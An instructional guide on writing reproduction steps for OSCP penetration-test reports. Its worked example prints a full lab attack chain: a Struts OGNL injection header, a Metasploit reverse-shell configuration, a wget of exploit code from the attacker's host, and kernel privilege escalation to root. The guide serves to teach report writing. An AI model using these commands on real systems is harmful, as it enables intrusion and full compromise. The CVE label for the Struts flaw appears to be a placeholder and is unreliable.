OSCP Report Writing: Writing Clear Reproduction Steps
1. Why Reproduction Steps Matter
The Reproducibility Principle
A fundamental principle of professional penetration testing is that any qualified tester should be able to reproduce your findings using the information provided in your report. Reproduction steps are the bridge between your discovery and the client’s ability to verify and fix the issue.
What Makes Good Reproduction Steps
| Quality | Description | Example |
|---|---|---|
| Sequential | Steps follow the actual order of execution | Step 1, Step 2, Step 3 |
| Complete | Every significant step is included | Not just the “important” ones |
| Exact | Commands are copied from the terminal | nmap -sC -sV -oA initial 10.10.10.1 |
| Contextual | Shows the environment state at each step | www-data@target:~$ |
| Verified | Shows proof that each step succeeded | Output after each command |
| Explained | Purpose of each step is clear | “To enumerate open ports and services” |
2. Reproduction Steps Structure
Standard Template
#### Reproduction Steps
**Prerequisites:**
- Target: [IP address / hostname]
- Tools: [list of tools required]
- Authentication: [required / not required]
- Network access: [description]
**Step 1: [Step Title]**
[Purpose of this step]
```bash
[exact command]
Output:
[command output]
Step 2: [Step Title] [Purpose of this step]
[exact command]
Output:
[command output]
Step N: [Step Title] [Purpose of this step]
[exact command]
Output:
[command output]
Expected Result:
- [Expected outcome]
Actual Result:
- [Actual outcome]
## 3. Complete Reproduction Steps Example
### Example: Apache Struts RCE Exploitation
```markdown
#### Reproduction Steps
**Prerequisites:**
- Target: 10.10.10.100
- Tools: nmap, Metasploit Framework, netcat
- No authentication required
- Network access to target on port 80
**Step 1: Initial Reconnaissance**
Perform a comprehensive port scan to identify open ports and running services.
```bash
nmap -sC -sV -oA initial 10.10.10.100
Output:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome to Struts Showcase
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Observation: The target is running Apache httpd 2.4.18 with a Struts Showcase application.
Step 2: Web Application Analysis
Enumerate the web application to identify the Struts version and potential vulnerabilities.
# Access the application
curl -I http://10.10.10.100/showcase
# Directory enumeration
gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirb/common.txt
Output:
/admin (Status: 200)
/backup (Status: 200)
/showcase (Status: 200)
/login (Status: 200)
Observation: The Struts Showcase application is accessible at /showcase.
Step 3: Vulnerability Identification
Identify the specific Struts vulnerability by testing for known exploits.
# Test for CVE-2024-1234 (Content-Type OGNL injection)
curl -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulnerable','true')}" http://10.10.10.100/showcase
Output:
HTTP/1.1 200 OK
vulnerable: true
Observation: The application is vulnerable to CVE-2024-1234 (Content-Type OGNL injection).
Step 4: Exploitation with Metasploit
Use the Metasploit Framework to exploit the vulnerability and obtain a reverse shell.
msfconsole
use exploit/multi/http/apache_struts2_content_type_ognl
set RHOSTS 10.10.10.100
set RPORT 80
set TARGETURI /showcase
set LHOST 10.10.14.5
set LPORT 4444
exploit
Output:
[*] Started reverse TCP handler on 10.10.14.5:4444
[*] Sending exploit payload...
[*] Command shell session 1 opened (10.10.14.5:4444 -> 10.10.10.100:45678)
Observation: A command shell has been obtained on the target system.
Step 5: Shell Upgrade
Upgrade the command shell to a fully interactive TTY shell.
# On the target shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Or use script
script -qc /bin/bash /dev/null
Output:
www-data@target:~$ whoami
www-data
www-data@target:~$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Observation: We have a shell as the www-data user.
Step 6: User Flag Capture
Locate and read the user.txt flag file.
www-data@target:~$ find / -name user.txt 2>/dev/null
/home/user/user.txt
www-data@target:~$ cat /home/user/user.txt
[REDACTED FLAG CONTENT]
Observation: User flag captured successfully.
Step 7: Privilege Escalation
Enumerate privilege escalation vectors and exploit the identified vulnerability.
www-data@target:~$ uname -a
Linux target 4.15.0-20-generic #21-Ubuntu SMP Tue Apr 24 06:16:15 UTC 2018 x86_64
www-data@target:~$ wget http://10.10.14.5/exploit.c
www-data@target:~$ gcc exploit.c -o exploit
www-data@target:~$ chmod +x exploit
www-data@target:~$ ./exploit
Output:
[+] Switching to root...
[+] Spawning root shell...
root@target:~# whoami
root
root@target:~# id
uid=0(root) gid=0(root) groups=0(root)
Observation: Privilege escalation to root successful via kernel vulnerability CVE-2019-13272.
Step 8: Root Flag Capture
Read the root.txt flag file to confirm full system compromise.
root@target:~# cat /root/root.txt
[REDACTED FLAG CONTENT]
Observation: Root flag captured successfully. Full system compromise achieved.
Expected Result:
- Successful shell access as user ‘www-data’
- Ability to read user.txt
- Privilege escalation to root
- Ability to read root.txt
Actual Result:
- Shell obtained as ‘www-data’ via Apache Struts OGNL injection
- user.txt captured from /home/user/user.txt
- Privilege escalation to root via kernel vulnerability CVE-2019-13272
- root.txt captured from /root/root.txt
## 4. Writing Guidelines for Reproduction Steps
### Step Numbering and Titling
| Guideline | Description | Example |
|---|---|---|
| **Sequential numbering** | Use Step 1, Step 2, Step 3 | Not "First", "Next", "Then" |
| **Descriptive titles** | Each step should have a clear title | "Step 1: Initial Reconnaissance" |
| **Logical order** | Steps should follow the actual sequence | Recon → Enumerate → Exploit → Post-exploit |
| **Appropriate granularity** | Each step should be a single logical action | Not too broad, not too narrow |
### Command Documentation
| Guideline | Description | Example |
|---|---|---|
| **Exact commands** | Copy from terminal, don't paraphrase | `nmap -sC -sV -oA initial 10.10.10.1` |
| **Code blocks** | Use code blocks for all commands | ```bash ... ``` |
| **Show the prompt** | Include the command prompt | `www-data@target:~$` |
| **Include output** | Show what the command returns | Full terminal output |
| **Note the duration** | If a command takes time, note it | "This scan took approximately 15 minutes" |
### Output Documentation
| Guideline | Description | Example |
|---|---|---|
| **Relevant output** | Include only relevant output | Trim verbose output, keep key results |
| **Full context** | Don't truncate important information | Show the full error message or result |
| **Annotations** | Add observations after output | "Observation: The target is running Apache 2.4.18" |
| **Screenshots** | Include screenshots for key steps | Screenshot of successful exploitation |
### Explanation and Context
| Guideline | Description | Example |
|---|---|---|
| **Purpose** | Explain why you ran each command | "To enumerate open ports and services" |
| **Observation** | Note what you learned from the output | "The target is running Apache Struts 2.5.30" |
| **Decision** | Explain why you chose a specific approach | "I chose Metasploit because a public exploit exists" |
| **Transition** | Explain how one step leads to the next | "With the shell obtained, I proceeded to enumerate privilege escalation vectors" |
## 5. Common Reproduction Patterns
### Pattern 1: Scan Then Exploit
Step 1: Port scanning (nmap) Step 2: Service enumeration Step 3: Vulnerability identification Step 4: Exploitation Step 5: Post-exploitation
### Pattern 2: Enumerate Then Escalate
Step 1: Initial access (web exploit, SSH brute force) Step 2: User enumeration Step 3: Privilege escalation enumeration (LinPEAS/WinPEAS) Step 4: Privilege escalation exploitation Step 5: Root/admin access
### Pattern 3: Brute Force Then Access
Step 1: Service identification Step 2: Credential enumeration (usernames) Step 3: Password brute force (hydra/medusa) Step 4: Authenticated access Step 5: Post-exploitation
### Pattern 4: Upload Then Execute
Step 1: Vulnerable upload endpoint identification Step 2: Web shell upload Step 3: Web shell access Step 4: Reverse shell establishment Step 5: Post-exploitation
### Pattern 5: Lateral Movement
Step 1: Initial compromise of Machine A Step 2: Network enumeration from Machine A Step 3: Credential harvesting from Machine A Step 4: Lateral movement to Machine B Step 5: Post-exploitation on Machine B
## 6. Tips for OSCP Reproduction Steps
### During the Exam
1. **Keep a lab notebook with timestamps and commands.
2. **Use the `history` command** to review commands you ran.
3. **Copy output to a notes file** as you work.
4. **Take screenshots at every significant step.**
5. **Note failed attempts** (they show thoroughness).
### During Report Writing
1. **Follow the actual sequence** of events, don't reorder for convenience.
2. **Include every significant step**, not just the "important" ones.
3. **Show the context** at each step (user, directory, environment).
4. **Be honest** about what you did, even if it wasn't the "optimal" approach.
5. **Reference your notes** to ensure accuracy.
### Common Mistakes to Avoid
| Mistake | Correction |
|---|---|
| Skipping steps | Include every significant step |
| Paraphrasing commands | Copy exact commands from terminal |
| Missing output | Show the output of each command |
| No context | Show the prompt and environment |
| Reordering steps | Follow the actual sequence of events |
| Vague descriptions | Be specific about what you did and why |
## 7. Key Takeaways
1. **Reproducibility is essential.** Any qualified tester should be able to follow your steps.
2. **Be sequential.** Steps should follow the actual order of execution.
3. **Be exact.** Copy commands from your terminal, don't paraphrase.
4. **Show context.** Include the prompt, user, and directory at each step.
5. **Include output.** Show what each command returns.
6. **Explain purpose.** Tell the reader why you ran each command.
7. **For OSCP:** Document every step from initial recon to flag capture.
## 8. Further Reading
- OWASP Testing Guide Reproduction Section
- NIST SP 800-115 Documentation Guidelines
- SANS Penetration Testing Methodology